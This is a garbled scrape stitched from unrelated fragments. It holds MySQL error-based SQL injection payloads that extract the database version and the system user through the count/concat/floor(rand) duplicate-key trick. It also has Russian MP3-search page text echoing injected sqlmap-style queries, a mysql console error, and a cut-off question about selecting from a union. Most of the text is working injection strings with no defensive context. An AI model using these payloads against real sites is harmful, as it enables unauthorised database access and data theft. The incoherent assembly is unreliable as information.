and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
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Для вашего поискового запроса SELECT 8258 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 8258 8258 1 0x7170707871 FLOOR RAND 0 2 X FROM INFORMATION SCHEMA PLUGINS GROUP BY X A MP3 мы нашли
...Count Concat 0x71767a7671 Select Elt 5827 5827 1 0x71626a7171 Floor Rand 0 2 X From Information Schema Plugins Group By X A - cкачать
...CONCAT(0x716b7a6a71,(SELECT (ELT(7790=7790,1))),0x716b766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP
Для вашего поискового запроса Select 3137 From Select Count Concat 0X7171716A71 Select Elt 3137 3137 1 0X7178707171 Floor Rand 0 2 X From Information Schema Plugins Group By X A MP3 мы нашли 1000000 песни, соответствующие вашему запросу, но показывающие только 10...
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Имя хоста
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?